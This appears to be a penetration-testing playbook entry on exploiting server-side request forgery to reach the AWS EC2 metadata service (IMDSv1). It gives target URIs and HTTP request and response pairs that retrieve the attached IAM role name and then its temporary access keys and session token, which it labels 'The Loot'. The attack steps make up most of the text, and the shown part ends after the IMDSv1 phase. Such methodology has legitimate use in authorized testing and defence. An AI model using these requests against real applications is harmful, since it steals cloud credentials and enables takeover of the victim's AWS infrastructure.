aws-metadata-ssrf-exploitation

AWS Metadata SSRF Exploitation (IMDS)

When to Use

• When identifying a robust Server-Side Request Forgery (SSRF) vulnerability on a web application explicitly hosted on Amazon Web Services (AWS) architecture (e.g., an EC2 instance or Elastic Beanstalk).
• To aggressively acquire high-privileged, temporary AWS IAM (Identity and Access Management) credentials to fundamentally escape the constrained Web Application payload boundary and directly compromise the overarching cloud infrastructure.
• To map backend infrastructure topology dynamically utilizing internal VPC IP ranges available natively within the metadata directory.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the Metadata Endpoint Target

# Concept: AWS EC2 instances natively host an invisible, non-routable link-local IP address 
# (169.254.169.254) exclusively accessible ONLY from INSIDE the EC2 instance itself.
# It provides massive amounts of configuration metadata regarding the server instance.
# If an SSRF vulnerability exists, the attacker commands the vulnerable EC2 server to HTTP GET 
# its own metadata endpoint and return the secrets identically in the web response.

# Standard Target URIs (IMDSv1):
# http://169.254.169.254/latest/meta-data/
# http://169.254.169.254/latest/meta-data/iam/security-credentials/

Phase 2: Exploiting IMDSv1 (Unprotected Metadata)

# Concept: If the EC2 instance utilizes older infrastructure (IMDSv1), the endpoint natively 
# accepts standard HTTP GET requests identically without requiring special authentication headers.

# 1. Execute the SSRF capturing the IAM Role Target Name
# Request:
GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: www.target-app.com

# Response (Identifies the Role attached to the EC2):
HTTP/1.1 200 OK
Production_Web_App_Role

# 2. Extract the Temporary Credentials inherently assigned to that Role
# Request:
GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Production_Web_App_Role HTTP/1.1

# Response (The Loot):
HTTP/1.1 200 OK
{
  "Code" : "Success",
  "LastUpdated" : "2024-03-24T12:00:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "ZxyY...",
  "Token" : "IQoJb3JpZ2luX2VjEJv...",
  "Expiration" : "2024-03-24T18:00:00Z"
}